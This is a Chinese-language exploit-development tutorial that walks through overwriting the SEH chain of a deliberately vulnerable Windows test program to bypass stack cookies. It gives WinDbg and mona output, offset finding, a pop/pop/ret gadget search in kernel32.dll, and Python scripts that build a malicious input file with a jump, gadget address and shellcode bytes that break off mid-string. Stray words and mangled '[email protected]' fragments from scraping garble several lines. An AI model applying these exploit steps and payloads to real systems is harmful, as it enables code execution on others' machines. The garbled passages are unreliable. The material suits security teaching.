P3nro5e · 2015/11/23 10:31node
from:expdev-kiuhnm.rhcloud.com/2015/05/26/…python
阅读完前面的文章(连接:drops.wooyun.org/tips/9948),咱们来到这里。shell
咱们将使用曾经使用过的代码:安全
#!c
#include <cstdio>
int main() {
char name[32];
printf("Enter your name and press ENTER\n");
scanf("%s", name);
printf("Hi, %s!\n", name);
return 0;
}
复制代码
在VS 2013中,咱们将经过 Project→properties关闭DEP保护机制,并在Release下修改配置:cookie
确保咱们配置为ide
若是你仍然有着用于exploitme1.exe的文件c:/name.dat
,并试图运行exploitme2.exe,那么程序将会崩溃而且无法弹出计算器。为何?函数
咱们来看对应的汇编代码:学习
int main() {
00101000 55 push ebp
00101001 8B EC mov ebp,esp
00101003 83 EC 24 sub esp,24h
00101006 A1 00 30 10 00 mov eax,dword ptr ds:[00103000h]
0010100B 33 C5 xor eax,ebp
0010100D 89 45 FC mov dword ptr [ebp-4],eax
char name[32];
printf("Enter your name and press ENTER\n");
00101010 68 00 21 10 00 push 102100h
00101015 FF 15 90 20 10 00 call dword ptr ds:[102090h]
scanf("%s", name);
0010101B 8D 45 DC lea eax,[name]
0010101E 50 push eax
0010101F 68 24 21 10 00 push 102124h
00101024 FF 15 94 20 10 00 call dword ptr ds:[102094h]
printf("Hi, %s!\n", name);
0010102A 8D 45 DC lea eax,[name]
0010102D 50 push eax
0010102E 68 28 21 10 00 push 102128h
00101033 FF 15 90 20 10 00 call dword ptr ds:[102090h]
return 0;
}
00101039 8B 4D FC mov ecx,dword ptr [ebp-4]
0010103C 83 C4 14 add esp,14h
0010103F 33 CD xor ecx,ebp
00101041 33 C0 xor eax,eax
00101043 E8 04 00 00 00 call __security_check_cookie (010104Ch)
00101048 8B E5 mov esp,ebp
0010104A 5D pop ebp
0010104B C3 ret
复制代码
这是以前的代码(做对比):this
int main() {
01391000 55 push ebp
01391001 8B EC mov ebp,esp
01391003 83 EC 20 sub esp,20h
char name[32];
printf("Enter your name and press ENTER\n");
01391006 68 00 21 39 01 push 1392100h
0139100B FF 15 8C 20 39 01 call dword ptr ds:[139208Ch]
scanf("%s", name);
01391011 8D 45 E0 lea eax,[name]
01391014 50 push eax
01391015 68 24 21 39 01 push 1392124h
0139101A FF 15 94 20 39 01 call dword ptr ds:[1392094h]
printf("Hi, %s!\n", name);
01391020 8D 45 E0 lea eax,[name]
01391023 50 push eax
01391024 68 28 21 39 01 push 1392128h
01391029 FF 15 8C 20 39 01 call dword ptr ds:[139208Ch]
0139102F 83 C4 14 add esp,14h
return 0;
01391032 33 C0 xor eax,eax
}
01391034 8B E5 mov esp,ebp
01391036 5D pop ebp
01391037 C3 ret
复制代码
让咱们忽略不感兴趣的部分.spa
以前的代码为:
int main() {
01391000 55 push ebp
01391001 8B EC mov ebp,esp
01391003 83 EC 20 sub esp,20h
.
.
.
01391034 8B E5 mov esp,ebp
01391036 5D pop ebp
01391037 C3 ret
复制代码
如今的代码为:
int main() {
00101000 55 push ebp
00101001 8B EC mov ebp,esp
00101003 83 EC 24 sub esp,24h
00101006 A1 00 30 10 00 mov eax,dword ptr ds:[00103000h]
0010100B 33 C5 xor eax,ebp
0010100D 89 45 FC mov dword ptr [ebp-4],eax
.
.
.
00101039 8B 4D FC mov ecx,dword ptr [ebp-4]
0010103C 83 C4 14 add esp,14h
0010103F 33 CD xor ecx,ebp
00101041 33 C0 xor eax,eax
00101043 E8 04 00 00 00 call __security_check_cookie (010104Ch)
00101048 8B E5 mov esp,ebp
0010104A 5D pop ebp
0010104B C3 ret
复制代码
如今,在代码的prolog部分以后,栈应该会是这样的;
esp --> name[0..3]
name[4..7]
.
.
.
name[28..31]
ebp-4 --> cookie
ebp --> saved ebp
ret eip
.
.
.
复制代码
如上作法为:在prolog部分设定cookie,在epilog部分检查cookie是否被改变。若是cookie被改变,那么在ret指令被执行以前,epilog部分会崩掉程序。注意cookie的位置:若是咱们溢出name,那么咱们可同时覆写cookie和ret eip。所以,在咱们能够控制执行流以前,执行Epilog部分会崩掉程序。
咱们看看prolog部分:
00101006 A1 00 30 10 00 mov eax,dword ptr ds:[00103000h]
0010100B 33 C5 xor eax,ebp
0010100D 89 45 FC mov dword ptr [ebp-4],eax
复制代码
在cookie被存储于[ebp-4]
以前,它首先从ds:[00103000h]
被读取,接着与EBP进行异或操做。这样,cookie就取决于EBP了,这意味着已嵌套的调用会有不一样的cookie。固然,在初始化期间,cookie在ds:[00103000]
中是随机的而且在运行时会被计算出来。 如今咱们理解了该问题,咱们能够回到代码的fread部分,该部分更易于(在某种程度上)进行利用:
#!c
#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
复制代码
由于咱们没法经过ret eip控制EIP,因此咱们将试图经过覆写它来修改SEH链。对于咱们来讲,幸运的是,该链在栈上。若是你不记得SEH链的特性,那么请看看结构化异常处理(相关文章连接:drops.wooyun.org/tips/6814)的文章吧。
使用WinDbg打开exploitme2.exe,用以下命令在main上下断点:
bp exploitme2!main
复制代码
接着经过按下F5(go)来让程序运行。
当执行中止时(你也应该看看源代码),在栈和SEH链上了解下:
0:000> dd esp
0038fb20 011814d9 00000001 00625088 00615710
0038fb30 bd0c3ff1 00000000 00000000 7efde000
0038fb40 00000000 0038fb30 00000001 0038fb98
0038fb50 01181969 bc2ce695 00000000 0038fb68
0038fb60 75dd338a 7efde000 0038fba8 77c09f72
0038fb70 7efde000 77ebad68 00000000 00000000
0038fb80 7efde000 00000000 00000000 00000000
0038fb90 0038fb74 00000000 ffffffff 77c471f5
0:000> !exchain
0038fb4c: exploitme2!_except_handler4+0 (01181969)
CRT scope 0, filter: exploitme2!__tmainCRTStartup+115 (011814f1)
func: exploitme2!__tmainCRTStartup+129 (01181505)
0038fb98: ntdll!WinSqmSetIfMaxDWORD+31 (77c471f5)
复制代码
记住SEH节点是8字节长的,而且会有用该形式展现:
<ptr to next SEH node in list>
<ptr to handler>
复制代码
咱们能够看到第一个节点在地址0x38fb4c上(即esp+0x2c)而且存在
0038fb98 <-- next SEH node
01181969 <-- handler (exploitme2!_except_handler4)
复制代码
下一个以及最后一个SEH节点在地址0x38fb98上(即esp+0x78)而且存在
ffffffff <-- next SEH node (none - this is the last node)
77c471f5 <-- handler (ntdll!WinSqmSetIfMaxDWORD+31)
复制代码
在调用thefread()函数以前,将100个’a’字符放入c:/name.dat并步过代码(F10)。咱们再次检测SEH链:
0:000> !exchain
0038fb4c: 61616161
Invalid exception stack at 61616161
复制代码
如咱们可观察到的,咱们已经试着覆写了SEH链了。如今让程序运行(F5)。
WinDbg将会打印出以下内容:
STATUS_STACK_BUFFER_OVERRUN encountered
(1610.1618): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\syswow64\kernel32.dll -
eax=00000000 ebx=01182108 ecx=75e1047c edx=0038f4d1 esi=00000000 edi=6d5ee060
eip=75e1025d esp=0038f718 ebp=0038f794 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
kernel32!GetProfileStringW+0x12cc1:
75e1025d cc int 3
复制代码
这可能意味着main()中的epilog部分已经检测到cookie被修改了,而且阻止了咱们的进一步操做,可是,实际上,fread调用以后,该安全违例是因为一些与分配操做相关的边界检查致使的。
#!c
#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0'; <-------------------------
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
复制代码
边界检查:
name[bytes] = '\0';
008B107A 83 FE 20 cmp esi,20h ; esi = bytes
008B107D 73 30 jae main+0AFh (08B10AFh)
008B107F 57 push edi
008B1080 C6 44 35 DC 00 mov byte ptr name[esi],0
.
.
.
008B10AF E8 48 01 00 00 call __report_rangecheckfailure (08B11FCh)
复制代码
既然这样,因为边界检查,epilog部分历来没有被执行过,可是概念是相同的。咱们覆写SEH链,可是并无生成异常,所以,SEH链并无被使用过。在进行边界检查以前,咱们须要生成异常。(不然main()的epilog部分会被执行)。
让咱们进行一次实验:咱们来观察发生异常是否会调用在SEH链上的handler。修改代码以下:
#!c
#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = bytes / 0; // '\0'; !!! divide by 0 !!!
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
复制代码
注意咱们在fread函数前已经添加了除数为0的状况。这应该会生成异常并调用SEH链的第一个handler。
编译代码,用WinDbg从新打开它。这会发生什么:
(177c.12f4): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for exploitme2.exe
eax=00000064 ebx=6d5ee060 ecx=00000000 edx=00000000 esi=00000001 edi=00000064
eip=012f107a esp=002cfbd4 ebp=002cfc2c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
exploitme2!main+0x7a:
012f107a f7f9 idiv eax,ecx
复制代码
正如咱们能够观察到的,在经过程序能够看到已生成的异常前,WinDbg就已经捕获到异常了。再次按下F5(go)将异常传给程序,这是咱们观察到的:
(177c.12f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=61616161 edx=77c2b4ad esi=00000000 edi=00000000
eip=61616161 esp=002cf638 ebp=002cf658 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
61616161 ?? ???
复制代码
咱们能够观察到EIP=0x61616161.惟一可解释的是handler在已修改的SEH链中被调用!
如今在进行边界检查前,咱们必须找到生成异常的方法(或者经过main()函数的epilog部分检查cookie)。首先,咱们将移除异常,同时稍微修改下咱们的代码:
#!c
#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
int pos = 0;
while (pos < bytes) {
int len = bytes - pos > 200 ? 200 : bytes - pos;
fread(name + pos, 1, len, f);
pos += len;
}
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
复制代码
咱们已经决定从200字节的块中读取文件,由于若是被请求读取太多字节,那么调用fread() 可能会失败。这样,咱们能够有一个具备较长字节的文件。
栈是有限的,所以若是咱们不断对其进行写入操做直到栈末端(最高地址),那么将会发生一次访问违例。咱们来运行Python的IDLE并试图使用1000个”a”字符:
#!python
with open('c:\\name.dat', 'wb') as f:
f.write('a'*1000)
复制代码
使用WinDbg运行exploitme2.exe。容易检验出1000个”a”字符是不够的。咱们来试试使用2000个”a”字符:
#!python
with open('c:\\name.dat', 'wb') as f:
f.write('a'*2000)
复制代码
一样没有达到咱们的目的。最后,使用10000个”a”字符,咱们获得:
(17d4.1244): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SysWOW64\MSVCR120.dll -
eax=00816808 ebx=000000c8 ecx=00000030 edx=000000c8 esi=008167d8 edi=003c0000
eip=6d51f20c esp=003bfb68 ebp=003bfb88 iopl=0 nv up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287
MSVCR120!wcslen+0x19:
6d51f20c f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
复制代码
在按下F5(go)以后,咱们获得:
(17d4.1244): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=61616161 edx=77c2b4ad esi=00000000 edi=00000000
eip=61616161 esp=003bf5cc ebp=003bf5ec iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
61616161 ?? ???
复制代码
这是咱们想要的:EIP=0x61616161
。咱们知道咱们的”a”字符已经覆写了SEH节点的handler地址,但肯定是这4个”a”字符吗?换句话说,咱们应该把重定向执行流的地址放入到文件中的偏移是多少呢? 使用特定的模板而不是使用单一的”a”字符不失为一种简单的方法。这个模板已设计好了,所以给出了模板的4个连续字节,咱们能够当即告诉该模板的偏移这四个字节被定位了。 利用mona(相关文章连接:drops.wooyun.org/tips/6814)使用以下命令能够帮助咱们:
0:000> !py mona pattern_create 10000
Hold on...
[+] Command used:
!py mona.py pattern_create 10000
Creating cyclic pattern of 10000 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...(snipped)
[+] Preparing output file 'pattern.txt'
- (Re)setting logfile pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open pattern.txt and copy the pattern from the file
[+] This mona.py action took 0:00:00
复制代码
使用一段Python代码,咱们能够将模板写到c:/name.dat
。
#!python
with open('c:\\name.dat', 'wb') as f:
pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...(snipped)'
f.write(pattern)
复制代码
注意,我已经截下了一段模板,由于它过长而没有在这里展现出来。
咱们用WinDbg重启exploitme2.exe,第二次按下F5,获得:
(11e0.11e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=64413963 edx=77c2b4ad esi=00000000 edi=00000000
eip=64413963 esp=0042f310 ebp=0042f330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
64413963 ?? ???
复制代码
咱们能够观察到 EIP = 0x64413963
. 让咱们看看被定位的模板偏移。记住英特尔CPU是小端模式的,所以0x64413963 = “\x63\x39\x41\x64” = “c9Ad”
。让咱们使用mona来判断该偏移:
0:000> !py mona pattern_offset 64413963
Hold on...
[+] Command used:
!py mona.py pattern_offset 64413963
Looking for c9Ad in pattern of 500000 bytes
- Pattern c9Ad (0x64413963) found in cyclic pattern at position 88
Looking for c9Ad in pattern of 500000 bytes
Looking for dA9c in pattern of 500000 bytes
- Pattern dA9c not found in cyclic pattern (uppercase)
Looking for c9Ad in pattern of 500000 bytes
Looking for dA9c in pattern of 500000 bytes
- Pattern dA9c not found in cyclic pattern (lowercase)
[+] This mona.py action took 0:00:00.172000
复制代码
偏移是88。用以下Python脚原本检验那正确的偏移:
#!python
with open('c:\\name.dat', 'wb') as f:
handler = 'bbbb'
f.write('a'*88 + handler + 'c'*(10000-88-len(handler)))
复制代码
此次WinDbg输出以下:
(1b0c.1bf4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=62626262 edx=77c2b4ad esi=00000000 edi=00000000
eip=62626262 esp=002af490 ebp=002af4b0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
62626262 ?? ???
复制代码
由于0x62626262=”bbbb”
.这确实是咱们想要的。如今咱们知道在文件中放入咱们想要的地址在哪里了,咱们须要判断使用的是哪一个地址。在WinDbg中点击View→Memory 并在”Virtual:[email protected],ESP=0x2af490
,同时,[email protected]+6d4上。
让咱们重启exploitme2.exe来观察6d4是不是一个常数。在Memory 窗口中的”Virtual:[email protected][email protected]咱们也能够观察到ESP老是不一样的,即便偏移6d4并不改变。
所以,在4个”b”字符以后,咱们能够将咱们的shellcode放置在正确的位置,而且用以下一段代码中的地址替换那些”b”字符:
ADD ESP, 6d8
JMP ESP
复制代码
注意咱们已经使用了6d8,即6d4+4来跳过”b”字符并转移到咱们将放置在替代”c”字符的shellcode上。固然,ADD ESP, 6e0
或相似的代码也将会被执行。不幸的是,找到这类代码并不容易,但这是一种更简单的方法。
重启exploitme2.exe,第二次按下F5并观察栈:
0:000> dd esp
002df45c 77c2b499 002df544 002dfb2c 002df594
002df46c 002df518 002dfa84 77c2b4ad 002dfb2c
002df47c 002df52c 77c2b46b 002df544 002dfb2c
002df48c 002df594 002df518 62626262 00000000
002df49c 002df544 002dfb2c 77c2b40e 002df544
002df4ac 002dfb2c 002df594 002df518 62626262
002df4bc 002e1000 002df544 00636948 00000000
002df4cc 00000000 00000000 00000000 00000000
复制代码
在esp+8上的dword值看起来挺有趣的。 若是咱们观察那个地址咱们能够了解到以下内容:
0:000> db poi(esp+8)
002dfb2c 61 61 61 61 62 62 62 62-63 63 63 63 63 63 63 63 aaaabbbbcccccccc
002dfb3c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb4c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb5c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb6c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb7c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb8c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb9c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
复制代码
0x2dfb2c指向处理”b”字符的4个”a”字符。要记住的是”bbbb”覆写SEH节点的”handler”域,所以,0x2dfb2c必须指向相同SEH节点的“下一个SEH 节点”域。咱们来检验该过程:
0:000> !exchain
002df470: ntdll!ExecuteHandler2+3a (77c2b4ad)
002dfa84: MSVCR120!_ValidateRead+439 (6d52a0d5)
002dfb2c: 62626262
Invalid exception stack at 61616161
复制代码
看起来彷佛覆写了第三个SEH节点:
0:000> dt _EXCEPTION_REGISTRATION_RECORD 002dfb2c
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x61616161 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x62626262 _EXCEPTION_DISPOSITION +62626262
复制代码
首先,确保esp+8总存在准确的重启进程的地址,再试一次。在检验完以后,咱们须要找到一些指令如:
POP reg32
POP reg32
RET
复制代码
思路是:被执行时,放入某段代码的地址来替代4个”b”字符,该代码将会对ESP进行加8操做(2条pop指令),接着提取经过ESP指向的值而后转移到那个地址。这确实是咱们想要的,即,它将会转移到咱们的”b”字符前面4个”a”字符右端。为了跳过”b”字符并转移到咱们的shellcode上(咱们的”c”字符),咱们须要在”b”字符的前面放入一个jmp指令。
JMP操做码的简写是:
EB XX
复制代码
XX的位置是一个被标记的字节。为了方便,咱们添加一个标签:
here:
EB XX
复制代码
那操做码转移到here+2+XX的位置。例如,
EB 00
there:
复制代码
转移以后到了右边,即,到了there部分。
这是咱们想要的:
90是NOP指令的操做码(no operation-不进行任何操做),可是由于那两个字节将会被跳过,因此咱们可使用任意指令的操做码。
如今让咱们在kernel32.dll中找到 pop/pop/ret
的地址:
0:000> !py mona findwild -s "pop r32#pop r32#ret" -m kernel32.dll
Hold on...
[+] Command used:
!py mona.py findwild -s pop r32#pop r32#ret -m kernel32.dll
---------- Mona command started on 2015-03-18 20:33:46 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules kernel32.dll
[+] Type of search: str
[+] Searching for matches up to 8 instructions deep
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Started search (8 start patterns)
[+] Searching startpattern between 0x75dc0000 and 0x75ed0000
[+] Preparing output file 'findwild.txt'
- (Re)setting logfile findwild.txt
[+] Writing results to findwild.txt
- Number of pointers of type 'pop edi # pop ebp # retn 24h' : 1
- Number of pointers of type 'pop esi # pop ebx # retn' : 2
- Number of pointers of type 'pop ebx # pop ebp # retn 14h' : 4
- Number of pointers of type 'pop ebx # pop ebp # retn 10h' : 14
- Number of pointers of type 'pop edi # pop esi # retn' : 2
- Number of pointers of type 'pop edi # pop ebp # retn 8' : 13
- Number of pointers of type 'pop eax # pop ebp # retn 1ch' : 2
- Number of pointers of type 'pop ecx # pop ebx # retn 4' : 1
- Number of pointers of type 'pop esi # pop ebp # retn' : 1
- Number of pointers of type 'pop ebx # pop ebp # retn 1ch' : 4
- Number of pointers of type 'pop eax # pop ebp # retn 0ch' : 8
- Number of pointers of type 'pop edi # pop ebp # retn 1ch' : 2
- Number of pointers of type 'pop eax # pop ebp # retn 20h' : 2
- Number of pointers of type 'pop esi # pop ebp # retn 0ch' : 49
- Number of pointers of type 'pop eax # pop ebp # retn' : 2
- Number of pointers of type 'pop eax # pop ebp # retn 4' : 3
- Number of pointers of type 'pop esi # pop ebp # retn 20h' : 2
- Number of pointers of type 'pop ebx # pop ebp # retn 0ch' : 27
- Number of pointers of type 'pop esi # pop ebp # retn 24h' : 1
- Number of pointers of type 'pop eax # pop ebp # retn 18h' : 3
- Number of pointers of type 'pop edi # pop ebp # retn 0ch' : 11
- Number of pointers of type 'pop esi # pop ebp # retn 10h' : 15
- Number of pointers of type 'pop esi # pop ebp # retn 18h' : 10
- Number of pointers of type 'pop esi # pop ebp # retn 14h' : 11
- Number of pointers of type 'pop edi # pop ebp # retn 10h' : 6
- Number of pointers of type 'pop eax # pop ebp # retn 8' : 5
- Number of pointers of type 'pop ebx # pop ebp # retn 4' : 11
- Number of pointers of type 'pop esi # pop ebp # retn 4' : 70
- Number of pointers of type 'pop esi # pop ebp # retn 8' : 62
- Number of pointers of type 'pop edx # pop eax # retn' : 1
- Number of pointers of type 'pop ebx # pop ebp # retn 8' : 26
- Number of pointers of type 'pop ebx # pop ebp # retn 18h' : 6
- Number of pointers of type 'pop ebx # pop ebp # retn 20h' : 2
- Number of pointers of type 'pop eax # pop ebp # retn 10h' : 3
- Number of pointers of type 'pop eax # pop ebp # retn 14h' : 3
- Number of pointers of type 'pop ebx # pop ebp # retn' : 4
- Number of pointers of type 'pop edi # pop ebp # retn 14h' : 2
- Number of pointers of type 'pop edi # pop ebp # retn 4' : 5
[+] Results :
0x75dd4e18 | 0x75dd4e18 (b+0x00014e18) : pop edi # pop ebp # retn 24h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfd75d | 0x75dfd75d (b+0x0003d75d) : pop esi # pop ebx # retn | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfd916 | 0x75dfd916 (b+0x0003d916) : pop esi # pop ebx # retn | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dd4f7c | 0x75dd4f7c (b+0x00014f7c) : pop ebx # pop ebp # retn 14h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75ddf840 | 0x75ddf840 (b+0x0001f840) : pop ebx # pop ebp # retn 14h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfc1ca | 0x75dfc1ca (b+0x0003c1ca) : pop ebx # pop ebp # retn 14h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e7a327 | 0x75e7a327 (b+0x000ba327) : pop ebx # pop ebp # retn 14h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75de1267 | 0x75de1267 (b+0x00021267) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75defda1 | 0x75defda1 (b+0x0002fda1) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfb33c | 0x75dfb33c (b+0x0003b33c) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfbf8a | 0x75dfbf8a (b+0x0003bf8a) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfda42 | 0x75dfda42 (b+0x0003da42) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e45960 | 0x75e45960 (b+0x00085960) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e47b36 | 0x75e47b36 (b+0x00087b36) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e4a53f | 0x75e4a53f (b+0x0008a53f) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e5e294 | 0x75e5e294 (b+0x0009e294) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e65641 | 0x75e65641 (b+0x000a5641) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e6a121 | 0x75e6a121 (b+0x000aa121) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e77bf1 | 0x75e77bf1 (b+0x000b7bf1) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e7930d | 0x75e7930d (b+0x000b930d) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
... Please wait while I'm processing all remaining results and writing everything to file...
[+] Done. Only the first 20 pointers are shown here. For more pointers, open findwild.txt...
Found a total of 396 pointers
[+] This mona.py action took 0:00:12.400000
复制代码
咱们选择第二个地址
0x75dfd75d | 0x75dfd75d (b+0x0003d75d) : pop esi # pop ebx # retn
复制代码
用来建立文件name.dat的Python代码以下:
#!python
with open('c:\\name.dat', 'wb') as f:
jmp = '\xeb\x06\x90\x90'
handler = '\x5d\xd7\xdf\x75'
shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
